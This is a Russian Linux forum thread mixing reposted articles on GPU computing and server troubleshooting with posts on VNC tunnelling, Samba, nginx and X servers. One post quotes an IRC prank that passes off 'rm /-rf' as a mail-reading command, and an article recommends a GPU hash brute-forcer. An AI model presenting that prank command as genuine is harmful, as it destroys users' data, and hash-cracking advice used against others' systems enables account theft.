
$ encfs ~/.crypt-raw ~/crypt


ввести парольную фразу, и все: в .crypt-raw будут лежать зашифрованные версии файлов, а в crypt — незашифрованные. Чтобы размонтировать EncFS, выполни:

$ fusermount -u ~/name


Конечно, все это можно автоматизировать. О том, как это сделать, можно почитать здесь.

Люблю смотреть, как ядра пашут

Загружать-то процессор на полную мы загружаем, но нужно иногда и мониторить его работу. В принципе, почти каждый дистрибутив имеет хорошую оснастку для мониторинга использования процессора, включая информацию о каждом отдельном ядре или процессоре. В Kubuntu, например, KSysGuard очень удачно отображает текущую загруженность ядер (смотри скрин «KSysGuard на четырехъядерной системе»).


Но есть и другие интересные утилиты, позволяющие созерцать работу процессора. Любителям консольных решений по душе придется htop — более красочный и интерактивный аналог top. Еще советую обратить внимание на Conky — мощный и легко настраиваемый системный монитор. Очень легко его настроить для мониторинга загруженности каждого ядра и процессора в целом. Для каждого ядра можно вывести отдельный график. На скриншоте можешь посмотреть мой вариант конфигурации утилиты.


Но эти утилиты дают лишь информацию о загруженности, чего часто может оказаться недостаточно. Mpstat из набора sysstat выдает более интересную информацию, как, например, время простоя каждого ядра, время, потраченное на ожидание ввода/вывода, или время, затраченное на обработку прерываний.


GPU не только для игр

Не секрет, что современные GPU обладают очень большими вычислительными мощностями. Но из-за того, что ядра GPU имеют особую архитектуру и ограниченный набор доступных команд, GPU пригоден лишь для решения узкого круга задач. Раньше выполнять вычисления на GPU могли только гуру шейдеров. Сейчас же производители видеокарт делают все возможное, чтобы упростить жизнь энтузиастов и разработчиков, желающих задействовать мощности графических процессоров в своих проектах: CUDA от NVIDIA, AMD FireStream, открытый стандарт OpenCL. С каждым годом вычисления на GPU становятся все доступнее и доступнее.

Вычисление хешей

На сегодняшний день из запускаемых на GPU задач популярнее всего, наверное, вычисление хешей. А все это из-за Bitcoin-майнинга, который, собственно, и заключается в вычислении хешей. Большинство Bitcoin-майнеров доступны под Linux. Если ты хочешь майнить Bitcoin’ы и если твой графический процессор поддерживает OpenCL (если поддерживает CUDA, то и OpenCL тоже), тогда рекомендую обратить внимание на bfgminer: он быстр, удобен и функционален, хоть и не так уж прост в настройке.

Ускорение Snort за счет GPU

    Очень интересный концепт под названием Gnort разработали исследователи из греческого института FORTH (Foundation for Research and Technology — Hellas). Они предлагают повысить эффективность обнаружения атак Snort’ом за счет переноса на GPU кода, отвечающего за проверку регулярных выражений. Если верить графикам, приведенным в официальной PDF’ке исследования, они добились почти двукратного увеличения пропускной способности Snort.

Но не Bitcoin’ом единым живем. Ничто не мешает использовать мощности GPU для брутфорса хешей (с целью узнать свой забытый пароль, конечно же, не более). В решении этой задачи хорошо зарекомендовала себя утилита oclHashcat-plus — настоящий комбайн по бруту хешей. Умеет подбирать хеши MD5 с солью и без соли, SHA-1, NTLM, кешированные пароли домена, пароли баз данных MySQL, пароли GRUB, и это еще даже не половина списка.

Шифрование на GPU

Очень интересное применение мощностей графических процессоров представили нам студенты Вэйбинь Сунь (Weibin Sun) и Син Линь (Xing Lin) из университета Юты в рамках проекта KGPU. Суть проекта заключается в переносе исполнения некоторых частей кода ядра Linux на CUDA-совместимый GPU. Первым разработчики решили вынести на GPU алгоритм AES. К сожалению, на этом развитие проекта и остановилось, хотя разработчики обещали продолжить работу. Но помимо этого, уже существующую наработку можно использовать для ускорения AES-шифрования в eCryptfs и dm-crypt, жаль только, что ядро версии 3.0 и выше не поддерживается.

Мониторинг производительности GPU

А почему бы и нет? Конечно, загруженность каждого GPU ядра узнать не удастся, но хоть какую-то информацию о происходящем на GPU получить можно. Программка CUDA-Z (почти аналог Windows-программы GPU-Z), кроме разной статической информации о GPU, умеет получать и динамическую: текущую скорость обмена данными между графическим процессором и машиной, а также общую производительность всех ядер GPU в флопсах.

-------------------- коменты -------------------

MrNobody 29 января 2014 в 05:22

Для любителей Gentoo есть фокус со сборкой нескольких пакетов одновременно.
В make.conf помимо опции указывающей make использовать несколько потоков(MAKEOPTS="-j2") есть опция которая позволяет собирать одновременно несколько пакетов если они не зависят друг от друга.
EMERGE_DEFAULT_OPTS="--jobs=3"
Что значительно ускоряет сборку большого количества пакетов.

mocksoul 30 января 2014 в 12:42

pbzip2 pxz / pixz же!

Название: Re: Занимательная линуксовина
Отправлено: vvm от 03 Января 2017, 14:33:56
Выпуск браузера Otter 0.9.12, предлагающего интерфейс в стиле Opera

Доступен двенадцатый бета-выпуск свободного web-браузера Otter, нацеленного на воссоздание классического интерфейса Opera 12, независимого от конкретных браузерных движков и ориентированного на продвинутых пользователей, не принимающих тендеции по упрощению интерфейса и сокращению возможностей кастомизации. Браузер написан на языке C++ (без QML) с использованием библиотеки Qt5. Исходные тексты доступны под лицензией GPLv3. Бинарные сборки подготовлены для Linux (пакте AppImage) и Windows (в том числе Windows XP).

http://www.opennet.ru/opennews/art.shtml?num=45804
Название: Re: Занимательная линуксовина
Отправлено: vvm от 03 Января 2017, 22:53:19
Есть такая штука
http://www.tightvnc.com/

Там доступ по IP. Если у компа есть белый / серый адрес в инете - все норм.

Вопрос

А как достучаться до компа в локальной сети, который видит инет, но
с IP адресом аля 192.168 ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 03 Января 2017, 23:20:52
Разверни вопрос - не понял.

Я до своей
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 03 Января 2017, 23:27:20
http://mcst.ru/organizovano-serijnoe-proizvodstvo-personalnykh-kompyuterov-elbrus401-rs-
Всего навсего за 200 килорубликов  - в тестах выдаёт два-три раза слабее последнего i7 (не для графики и игр конечно это заточено)

почему в линуховой теме - штатно линуха, сертифицированая ФСТЭК идёть (может потому и ценник конский)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 03 Января 2017, 23:35:02
Разверни вопрос - не понял.

Я до своей

Я сижу дома.  Мне надо достучаться через VNC до компа в локалке на работе.
По IP. IP сервака локалки я знаю. IP компа в локалке - 192.168.11.16, притом
проброшенный через сервак на роутере, выдающий всех за 192.168.11.23

Что дальше делать ? ))))
Название: Re: Занимательная линуксовина
Отправлено: Newkid от 04 Января 2017, 00:37:15
Тут есть два варианта проброс порта через роутер или поднятие туннеля через ssh.

Допустим 192.168.11.23 -ip роутера ,  33.33.33.33 - внешний - ip роутера.
1 вариант (роутер на linux)
#iptables -t nat -I PREROUTING -p tcp --dport 5901 -d 33.33.33.33 -j DNAT --to 192.168.11.16:5901
и доступ к пк с vnc будет
#vncviewer 33.33.33.33:5901
2 вариант (есть доступ к роутеру по ssh)
#ssh -f -N -L  59001:192.168.11.16:5901 user@33.33.33.33
и доступ будет
#vncviewer localhost:59001

PS есть еще жесткий вариант, когда у роутера нет статического ip, тут  только вариант с VPN( я использую openvpn т.к. он работает даже за натом провайдера)

Название: Re: Занимательная линуксовина
Отправлено: drfaust от 04 Января 2017, 09:21:04
Угу. Только в любом случае на работу переть придётся, роутеры обычно не позволяют выходить на вебморду настроек извне - т.е. с улицы проброс не настроешь. Туннель - тем более.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Января 2017, 12:08:26
Минт 17.3

После обновлений программ ломается локальная сеть, т.е. в тунаре (проводнике) до обновления видны
все виндовые сети, все компы в них и все расшары.

После обновления сети и компы не видны, нужно вручную прописывать в самбе расшары, и то криво
работает.

На скрине 2 возможных виновника (поставил все другие обновления - сеть не упала).

Может, сталкивались с такой байдой ?
Название: Re: Занимательная линуксовина
Отправлено: Newkid от 04 Января 2017, 12:48:47
Скорее всего обновление затирает старый конфиг /etc/samba/smb.conf, у убунты это бывает.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Января 2017, 12:54:21
Скорее всего обновление затирает старый конфиг /etc/samba/smb.conf, у убунты это бывает.

Неа. С рабочей машины подкидывал конфиг.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Января 2017, 13:04:13
Кстати, вот сам конфиг. Мож там чего накосячено ?
Название: Re: Занимательная линуксовина
Отправлено: Newkid от 04 Января 2017, 15:55:13
Вот что пишут иностранные товарищи
 
Цитировать
There is a bug on 4.3.8. To solve it, just install winbind and libnss-winbind packages. No additional configuration needed.
короче поставь winbind и libnss-winbind
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Января 2017, 16:12:08
Вот тема, где описаны все эти страдания )
http://askubuntu.com/questions/759796/problem-with-samba-4-3-8/764570#764570

Федя, чо скажешь ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 04 Января 2017, 16:24:18
Походу дело не в самбе а в GnomeVFS - вроде её тюнар юзает (пакет у мну в арче называется gvfs) - надо глянуть логи обновления - что именно обновлялось. gvfs активно юзает fusefs. Если старый, рабочий, конфиг подкидывался то не в самбе трабла, хотя smbclient запущен вообще, а то с системДэ чего угодно можно ожидать - при обнове системДэ могли кривой юнит подкинуть.

Короче - давай лог обновления после которого всё поломалось, косячить может кто угодно - надо смотреть кто обновился...

З.Ы. Самбу расшаривал (папку и принтер под  линухой для винды) сто лет назад, после того как в линухе апнулся протокол послал самбу нафиг и расшаривал nfs - под виндой-7кой или сторонними прогами(для win7 ниже проф) или активировать клиента (для проф - качать с мелкософта, в максималке уже есть, но надо разрешать службу) и всё пахало.

Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Января 2017, 16:31:52
хм, если дело в GnomeVFS, то почему после обновы клиенты сети с ХП и 7 меня тоже видеть перестают ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 04 Января 2017, 17:09:39
"Стоп маруся". Я так понял винда раздаёт шару, а ты на линухе не видишь их. Оказывается у тебя линуха шару по самбе раздаёт. Посмотри на сколько изменилась версия самбы. Что кажет /usr/bin/smbclient -L host (он и скрытых дофига кажет). Запущен ли демон самбы (тут уже мог системДэ накосячить). Если сильно изменилась версия самбы - могли впиндюрить доп. права (по дефолту всеё залочено).
Выложи smb.conf до и после обновы - могли доп. секции/ключи появиться, особенно относительно прав.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Января 2017, 17:28:19
Обнову я стопанул. Поставил систему с нуля и вычислил, кто гадит.
И заблочил их обновления.
А дальше копаться ну нахер - комп на работе, не дома.

Выход хоть и не кошерный - но сеть работает.

смб.конф не поменялся
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 04 Января 2017, 18:20:22
Так кто насрал-то? Самба?
Название: Re: Занимательная линуксовина
Отправлено: vvm от 05 Января 2017, 10:54:46
Так кто насрал-то? Самба?

Да забил я разбираться. Работает - не трогай.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 18 Апреля 2017, 20:35:03
Кольнуло нам обновить форум с версии 2.0.11 до 2.0.13

Вроде прошло гладко, но загрузка 4-х ядерного проца сервера ушла под
100 процентов, а по выводу www.ss-20.ru/server-status доходила
аж до 161 процента (CPU Usage: - 161% CPU load), нарушая все законы физики
и вселенной.

Как ни странно, помогло выключение кэширования в админке SMF

Загрузка проца свалилась к нормальным
CPU Usage: u265.12 s3.65 cu.13 cs.02 - 1.42% CPU load

Использовался акселератор APC
Название: Re: Занимательная линуксовина
Отправлено: vvm от 20 Апреля 2017, 22:24:17
(http://)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 26 Апреля 2017, 22:25:55
<R_engel> BigAndy, я пропустил, какая команда? rm /-rf ?
<alardus> именно
<alardus> read mail from root folder правильно читается
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 09 Мая 2017, 15:43:59
Накрылся мой "минисервер" медным тазом. Всё-таки залитыши долго не живут. Стоял дебиан-7 64бит, были подняты ftp, nfs, tor-relay b http(nginx) со одной статической страничкой.
Т.к. другой свободной железяки с 64битным процем у мну нет - пустил я под это дело недобук с n270 на борту. И решил зарядить туда фрю 11ю.

Всё быстро поставилось - за сегодня(только nginx остался), но nfs мне сильно доставил, промучился оч. долго, но победил - оказалось эта зараза в /etc/exports желает видеть реальный путь - симлинки и пр ей не катят - матюгается на строку.

Очень сильно удивился увидев стабильность и скорость работы(клиент - мой арч, опции монтирования не менял). Выдаёт почти 90МБит на 100-МБитной сети. Раньше под дебианом он постоянно отваливался, монтировался через *пу, точка монтирования могла в любой момент отвалиться. Т.к. nfs настраивал с нуля(его линуховый конфиг я не сохранил) то виню в первую очередь не линуху, а свои кривые ручки.

Сейчас закидываю локальную файлопомойку назад на nfs-шару
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 09 Мая 2017, 22:15:17
Сейчас тюнингую связку nginx + php-fpm.
Гугель посоветовал настроить сжатие gzip для экономии канала(мне это так, для эксперимента, а вот профсоюзу и тебе - может понадобиться).
http{
....
gzip on;
gzip_disable "msie6";
gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript;
....
}
Хотя у вас наверняка апач - а там я не знаю....

Название: Re: Занимательная линуксовина
Отправлено: vvm от 25 Мая 2017, 19:32:05
Запустил в Минт17 второй экземпляр иксов. Из первого терминала.
В итоге - в каталоге хомяка стерлись файлы в разделе .config
Панель стала работать криво - исчезла крысиная кнопка пуск и появились другие чудеса.
Восстановил весь .config из бэкапа - не помогло.
Тогда восстановил все скрытые файлы и каталоги из бекапа хомяка - взлетело.
Итог - не делайте startx при запущенном икс сервере ...
Или я где то втупил.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 25 Мая 2017, 19:39:25
...
Итог - не делайте startx при запущенном икс сервере ...
....

Колись как ты сумел его запустить? Я сколько не пытался запустить второй X-сервер - не вышло - сразу матюгается на то, что уже есть(root - не_root - пофиг, всё перепробовал - не взлетает второй экз Xов)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 25 Мая 2017, 20:06:05
По SSH с внешнего хоста ...
Название: Re: Занимательная линуксовина
Отправлено: olegon от 25 Мая 2017, 20:19:35
Можно много Х запустить, пока DISPLAY не устанешь выставлять. Я так развлекался, ничего не пропадает...
Только зачем в SSH нужен Х?!
Название: Re: Занимательная линуксовина
Отправлено: vvm от 01 Июня 2017, 18:40:59
Чот помер xfce4-weather-plugin
Пишет нет данных.
Что можно прикрутить на замену ?
Название: Re: Занимательная линуксовина
Отправлено: RDM от 11 Июня 2017, 19:01:34
Известный IT-шник, Дмитрий Бачило, "полез" в кассовую сферу....

Название: Re: Занимательная линуксовина
Отправлено: Newkid от 11 Июня 2017, 19:35:59
На Дмитрия подписан давно, у него очень хорошая подача материала, а в кассы он пролез не сам я так понимаю он возглавляет it отдел фирмы с филиалами по всей стране, тут не он полез  тут его кинули решать проблемы Онлайных касс.

А так он совсем не линуксоид он больше бсдешник.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 12 Июня 2017, 20:37:55
https://habrahabr.ru/company/ruvds/blog/330350/?mobile=no

Пять шагов к спасению Linux-сервера, который рухнул

Мне доводилось видеть множество Linux-серверов, которые, без единой перезагрузки, работали годами, в режиме 24x7. Но ни один компьютер не застрахован от неожиданностей, к которым могут вести «железные», программные и сетевые сбои. Даже самый надёжный сервер может однажды отказать. Что делать? Сегодня вы узнаете о том, что стоит предпринять в первую очередь для того, чтобы выяснить причину проблемы и вернуть машину в строй.


И, кстати, в самом начале, сразу после сбоя, стоит ответить на весьма важный вопрос: «А сервер ли виноват в том, что случилось?». Вполне возможно, что источник проблемы совсем не в нём. Но, не будем забегать вперёд.

Поиск и устранение неполадок: раньше и теперь

Когда, в 1980-х, я начал работать системным администратором Unix — задолго до того, как Линус Торвальдс загорелся идеей Linux — если с сервером было что-то не так, это была реальная засада. Тогда было сравнительно мало инструментов для поиска проблем, поэтому для того, чтобы сбойный сервер снова заработал, могло понадобиться много времени.

Теперь всё совсем не так, как раньше. Как-то один системный администратор вполне серьёзно сказал мне, говоря о проблемном сервере: «Я его уничтожил и поднял новый».

В былые времена такое звучало бы дико, но сегодня, когда ИТ-инфраструктуры строят на основе виртуальных машин и контейнеров… В конце концов, развёртывание новых серверов по мере необходимости — это обычное дело в любой облачной среде.

Сюда надо добавить инструменты DevOps, такие, как Chef и Puppet, используя которые легче создать новый сервер, чем диагностировать и «чинить» старый. А если говорить о таких высокоуровневых средствах, как Docker Swarm, Mesosphere и Kubernetes, то благодаря им работоспособность отказавшего сервера будет автоматически восстановлена до того, как администратор узнает о проблеме.

Данная концепция стала настолько распространённой, что ей дали название — бессерверные вычисления. Среди платформ, которые предоставляют подобные возможности — AWS Lambda, Iron.io, Google Cloud Functions.

Благодаря такому подходу облачный сервис отвечает за администрирование серверов, решает вопросы масштабирования и массу других задач для того, чтобы предоставить клиенту вычислительные мощности, необходимые для запуска его приложений.

Бессерверные вычисления, виртуальные машины, контейнеры — все эти уровни абстракции скрывают реальные серверы от пользователей, и, в некоторой степени, от системных администраторов. Однако, в основе всего этого — физическое аппаратное обеспечение и операционные системы. И, если что-то на данном уровне вдруг разладится, кто-то должен привести всё в порядок. Именно поэтому то, о чём мы сегодня говорим, никогда не потеряет актуальности.

Помню разговор с одним системным оператором. Вот что он говорил о том, как надо поступать после сбоя: «Переустановка сервера — это путь вникуда. Так не понять — что стало с машиной, и как не допустить такого в будущем. Ни один сносный администратор так не поступает». Я с этим согласен. До тех пор, пока не обнаружен первоисточник проблемы, её нельзя считать решённой.

Итак, перед нами сервер, который дал сбой, или мы, по крайней мере, подозреваем, что источник неприятностей именно в нём. Предлагаю вместе пройти пять шагов, с которых стоит начинать поиск и решение проблем.

Шаг первый. Проверка аппаратного обеспечения

В первую очередь — проверьте железо. Я знаю, что звучит это тривиально и несовременно, но, всё равно — сделайте это. Встаньте с кресла, подойдите к серверной стойке и удостоверьтесь в том, что сервер правильно подключён ко всему, необходимому для его нормальной работы.

Я и сосчитать не смогу, сколько раз поиски причины проблемы приводили к кабельным соединениям. Один взгляд на светодиоды — и становится ясно, что Ethernet-кабель выдернут, или питание сервера отключено.

Конечно, если всё выглядит более-менее прилично, можно обойтись без визита к серверу и проверить состояние Ethernet-соединения такой командой:

$ sudo ethtool eth0

Если её ответ можно трактовать, как «да», это значит, что исследуемый интерфейс способен обмениваться данными по сети.

Однако, не пренебрегайте возможностью лично осмотреть устройство. Это поможет, например, узнать, что кто-то выдернул какой-нибудь важный кабель и обесточил таким образом сервер или всю стойку. Да, это до смешного просто, но удивительно — как часто причина отказа системы именно в этом.

Ещё одну распространённую аппаратную проблему невооружённым взглядом не распознать. Так, сбойная память является причиной всевозможных проблем.

Виртуальные машины и контейнеры могут скрывать эти проблемы, но если вы столкнулись с закономерным появлением отказов, связанных с конкретным физическим выделенным сервером, проверьте его память.

Для того, чтобы увидеть, что BIOS/UEFI сообщают об аппаратном обеспечении компьютера, включая память, используйте команду dmidecode:

$ sudo dmidecode --type memory

Даже если всё тут выглядит нормально, на самом деле это может быть и не так. Дело в том, что данные SMBIOS не всегда точны. Поэтому, если после dmidecode память всё ещё остаётся под подозрением — пришло время воспользоваться Memtest86. Это отличная программа для проверки памяти, но работает она медленно. Если вы запустите её на сервере, не рассчитывайте на возможность использовать эту машину для чего-нибудь другого до завершения проверки.

Если вы сталкиваетесь со множеством проблем с памятью — я видел такое в местах, отличающихся нестабильным электропитанием — нужно загрузить модуль ядра Linux edac_core. Этот модуль постоянно проверяет память в поиске сбойных участков. Для того, чтобы загрузить этот модуль, воспользуйтесь такой командой:

$ sudo modprobe edac_core

Подождите какое-то время и посмотрите, удастся ли что-нибудь увидеть, выполнив такую команду:

$ sudo grep "[0-9]" /sys/devices/system/edac/mc/mc*/csrow*/ch*_ce_count

Эта команда даст вам сводку о числе ошибок, разбитых по модулям памяти (показатели, название которых начинается с csrow). Эти сведения, если сопоставить их с с данными dmidecode о каналах памяти, слотах и заводских номерах компонентов, помогут выявить сбойную планку памяти.

Шаг второй. Поиск истинного источника проблемы

Итак, сервер стал странно себя вести, но дым из него ещё пока не идёт. В сервере ли дело? Прежде чем вы попытаетесь решить возникшую проблему, сначала нужно точно определить её источник. Скажем, если пользователи жалуются на странности с серверным приложением, сначала проверьте, что причина проблемы — не в сбоях на клиенте.

Например, друг однажды рассказал мне, как его пользователи сообщили о том, что не могут работать с IBM Tivoli Storage Manager. Сначала, конечно, казалось, что виновен во всём сервер. Но в итоге администратор выяснил, что проблема вообще не была связана с серверной частью. Причиной был неудачный патч Windows-клиента 3076895. Но то, как сбоило это обновление безопасности, делало происходящее похожим на проблему серверной стороны.

Кроме того, нужно понять, является ли причиной проблемы сам сервер, или серверное приложение. Например, серверная программа может работать кое как, а железо оказывается в полном порядке.

Для начала — самое очевидное. Работает ли приложение? Есть множество способов проверить это. Вот два моих любимых:

$ sudo ps -ef | grep apache2
$ sudo netstat -plunt | grep apache2

Если оказалось, что, например, веб-сервер Apache не работает, запустить его можно такой командой:

$ sudo service apache2 start

Если в двух словах, то прежде чем диагностировать сервер и искать причину проблему, узнайте — сервер ли виноват, или что-то другое. Только тогда, когда вы поймёте, где именно находится источник сбоя, вы сможете задавать правильные вопросы и переходить к дальнейшему анализу того, что произошло.

Это можно сравнить с неожиданной остановкой автомобиля. Вы знаете, что машина дальше не едет, но, прежде чем тащить её в сервис, хорошо бы проверить, есть ли бензин в баке.

Шаг третий. Использование команды top

Итак, если оказалось, что все пути ведут к серверу, то вот ещё один важный инструмент для проверки системы — команда top. Она позволяет узнать среднюю нагрузку на сервер, использование файла подкачки, выяснить, какие ресурсы системы используют процессы. Эта утилита показывает общие сведения о системе и выводит данные по всем выполняющимся процессам на Linux-сервере. Вот подробное описание данных, которые выводит эта команда. Тут можно найти массу информации, которая способна помочь в поиске проблем с сервером. Вот несколько полезных способов работы с top, позволяющих найти проблемные места.

Для того, чтобы обнаружить процесс, потребляющий больше всего памяти, список процессов надо отсортировать в интерактивном режиме, введя с клавиатуры M. Для того, чтобы выяснить приложение, потребляющее больше всего ресурсов процессора, отсортируйте список, введя P. Для сортировки процессов по времени активности, введите с клавиатуры T. Для того, чтобы лучше видеть колонку, по которой производится сортировка, нажмите клавишу b.

Кроме того, данные по процессам, выводимые командой в интерактивном режиме, можно отфильтровать, введя O или o. Появится следующее приглашение, где предлагается добавить фильтр:

add filter #1 (ignoring case) as: [!]FLD?VAL

Затем можно ввести шаблон, скажем, для фильтрации по конкретному процессу. Например, благодаря фильтру COMMAND=apache, программа будет выводить только сведения о процессах Apache.

Ещё одна полезная возможность top заключается в выводе полного пути процесса и аргументов запуска. Для того, чтобы просмотреть эти данные, воспользуйтесь клавишей c.

Ещё одна похожая возможность top активируется вводом символа V. Она позволяет переключиться в режим иерархического вывода сведений о процессах.

Кроме того, можно просматривать процессы конкретного пользователя с помощью клавиш u или U, или скрыть процессы, не потребляющих ресурсы процессора, нажав клавишу i.

Хотя top долго была самой популярной интерактивной утилитой Linux для просмотра текущей ситуации в системе, у неё есть и альтернативы. Например, существует программа htop обладает расширенным набором возможностей, которая отличается более простым и удобным графическим интерфейсом Ncurses. Работая с htop, можно пользоваться мышью и прокручивать список процессов по вертикали и по горизонтали для того, чтобы просмотреть их полный список и полные командные строки.

Я не жду, что top сообщит мне — в чём проблема. Скорее, я использую этот инструмент для того, чтобы найти нечто, что заставит подумать: «А это уже интересно», и вдохновит меня на дальнейшие исследования. Основываясь на данных от top, я знаю, например, на какие логи стоит взглянуть в первую очередь. Логи я просматриваю, используя комбинации команд less, grep и tail -f.

Шаг четвёртый. Проверка дискового пространства

Даже сегодня, когда в кармане можно носить терабайты информации, на сервере, совершенно незаметно, может кончиться дисковое пространство. Когда такое происходит — можно увидеть весьма странные вещи.

Разобраться с дисковым пространством нам поможет старая добрая команда df, имя которой является сокращением от «disk filesystem». С её помощью можно получить сводку по свободному и использованному месту на диске.

Обычно df используют двумя способами.

$ sudo df -h

показывает данные о жёстких дисках в удобном для восприятия виде. Например, сведения об объёме накопителя выводятся в гигабайтах, а не в виде точного количества байт.

$ sudo df -i

выводит число использованных inodes и их процент к файловой системе.

Ещё один полезный флаг df — T. Он позволяет вывести данные о типах файловых систем хранилищ. Например, команда вида $ sudo df -hT показывает и объём занятого пространства диска, и данные о его файловой системе.

Если что-то кажется вам странным, можно копнуть глубже, воспользовавшись командой Iostat. Она является частью sysstat — продвинутого набора инструментов для мониторинга системы. Она выводит сведения о процессоре, а также данные о подсистеме ввода-вывода для блочных устройств хранения данных, для разделов и сетевых файловых систем.

Вероятно, самый полезный способ вызова этой команды выглядит так:

$ iostat -xz 1

Такая команда выводит сведения об объёме прочитанных и записанных данных для устройства. Кроме того, она покажет среднее время операций ввода-вывода в миллисекундах. Чем больше это значение — тем вероятнее то, что накопитель перегружен запросами, или перед нами — аппаратная проблема. Что именно? Тут можно воспользоваться утилитой top для того, чтобы выяснить, нагружает ли сервер MySQL (или какая-нибудь ещё работающая на нём СУБД). Если подобных приложений найти не удалось, значит есть вероятность, что с диском что-то не так.

Ещё один важный показатель можно найти в разделе %util, где выводятся сведения об использовании устройства. Этот показатель указывает на то, как напряжённо работает устройство. Значения, превышающие 60% указывают на низкую производительность дисковой подсистемы. Если значение близко к 100%, это означает, что диск работает на пределе возможностей.

Работая с утилитами для проверки дисков, обращайте внимание, что именно вы анализируете.

Например, нагрузка в 100% на логический диск, который представляет собой несколько физических дисков, может означать лишь то, что система постоянно обрабатывает какие-то операции ввода-вывода. Значение имеет то, что именно происходит на физических дисках. Поэтому, если вы анализируете логический диск, помните, что дисковые утилиты не дадут полезной информации.

Шаг пятый. Проверка логов

Последнее в нашем списке, но лишь по порядку, а не по важности — проверка логов. Обычно их можно найти по адресу /var/log, в отдельных папках для различных сервисов.

Для новичков в Linux лог-файлы могут выглядеть как ужасная мешанина. Это — текстовые файлы, в которые записываются сведения о том, чем занимаются операционная система и приложения. Есть два вида записей. Одни записи — это то, что происходит в системе или в программе, например — каждая транзакция или перемещение данных. Вторые — сообщения об ошибках. В лог-файлах может содержаться и то, и другое. Эти файлы могут быть просто огромными.

Данные в файлах журналов обычно выглядят довольно таинственно, но вам всё равно придётся с ними разобраться. Вот, например, хорошее введение в эту тему от Digital Ocean.

Есть множество инструментов, которые помогут вам проверить логи. Например — dmesg. Эта утилита выводит сообщения ядра. Обычно их очень и очень много, поэтому используйте следующий простой сценарий командной строки для того, чтобы просмотреть 10 последних записей:

$ dmesg | tail

Хотите следить за происходящим в реальном времени? Мне, определённо, это нужно, когда я занимаюсь поиском проблем. Для того, чтобы этого добиться, используйте команду tail с ключом -f. Выглядит это так:

$ dmesg | tail -f /var/log/syslog

Вышеприведённая команда наблюдает за файлом syslog, и когда в него попадают сведения о новых событиях, выводит их на экран.

Вот ещё один удобный сценарий командной строки:

$ sudo find /var/log -type f -mtime -1 -exec tail -Fn0 {} +

Он сканирует логи и показывает возможные проблемы.

Если в вашей системе применяется systemd то, вам нужно будет использовать встроенное средство для работы с журналами — Journalctl. Systemd централизует управление логированием с помощью демона journald. В отличие от других логов Linux, journald хранит данные в двоичном, а не в текстовом формате.

Бывает полезно настроить journald так, чтобы он сохранял логи после перезагрузки системы. Сделать это можно, воспользовавшись такой командой:

$ sudo mkdir -p /var/log/journal

Для включения постоянного хранения записей понадобится отредактировать файл /etc/systemd/journald.conf, включив в него следующее:

[Journal] Storage=persistent

Самый распространённый способ работать с этими журналами — такая команда:

journalctl -b

Она покажет все записи журналов после последней перезагрузки. Если система была перезагружена, посмотреть, что было до этого, можно с помощью такой команды:

$ journalctl -b -1

Это позволит просмотреть записи журналов, сделанные в предыдущую сессию сервера.
Вот полезный материал о том, как пользоваться journalctl.

Логи бывают очень большими, с ними сложно работать. Поэтому, хотя разобраться с ними можно с помощью средств командной строки, таких, как grep, awk, и других, полезно бывает задействовать специальные программы для просмотра логов.

Мне, например, нравится система для управления логами с открытым кодом Graylog. Она собирает, индексирует и анализирует самые разные сведения. В её основе лежат MongoDB для работы с данными и Elasticsearch для поиска по лог-файлам. Graylog упрощает отслеживание состояния сервера. Graylog, если сравнить её со встроенными средствами Linux, проще и удобнее. Кроме того, среди её полезных возможностей можно отметить возможность работы с многими DevOps-системами, такими, как Chef, Puppet и Ansible.

Итоги

Как бы вы ни относились к вашему серверу, возможно, он не попадёт в Книгу Рекордов Гиннеса как тот, который проработал дольше всех. Но стремление сделать сервер как можно более стабильным, добираясь до сути неполадок и исправляя их — достойная цель. Надеемся, то, о чём мы сегодня рассказали, поможет вам достичь этой цели.

Уважаемые читатели! А как вы обычно поступаете с упавшими серверами?
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Июня 2017, 22:52:52
https://vk.com/linux_help
Linux Помощь
5 минут назад

Привет всем!) Назрел вопрос и он в следующем: когда включаю или перезагружаю систему, громкость стоит на максимуме, хотя перед выключением или перезагрузкой отбавлял. Скажите где копать? Система минт мэйт 18.1 , заранее спасибо)
Данил-И-Елена Новицкие

Вадим Власов
Звук идет через Pulse Audio или ALSA ?

Вадим Власов
У меня минт 17.3, пульсу выпилил нахрен, ибо треск один идет
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 24 Июня 2017, 23:39:01
А клиенто-то чё ответил???

Я тресков/шипения/пропаданиий из-за пульсы уже лет пять как не встречал. Давно  - да на ОСС переходил. Но сейчас...

З.Ы. Пульса полностью готова для десктопа, и в некоторых случаях готовее чем виндошное решение. Для аудиофилов - jack - но там реально нужны мозги с руками, опять же под конкретное железо, зато, по одзывам, не хужн аудиостудии...
Название: Re: Занимательная линуксовина
Отправлено: vvm от 25 Июня 2017, 17:49:53
(http://)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 09 Июля 2017, 21:44:14
А клиенто-то чё ответил???

Я тресков/шипения/пропаданиий из-за пульсы уже лет пять как не встречал. Давно  - да на ОСС переходил. Но сейчас...

З.Ы. Пульса полностью готова для десктопа, и в некоторых случаях готовее чем виндошное решение. Для аудиофилов - jack - но там реально нужны мозги с руками, опять же под конкретное железо, зато, по одзывам, не хужн аудиостудии...

https://www.prolinux.org/post/shumy-i-tresk-vo-vremya-razgovora-po-skype/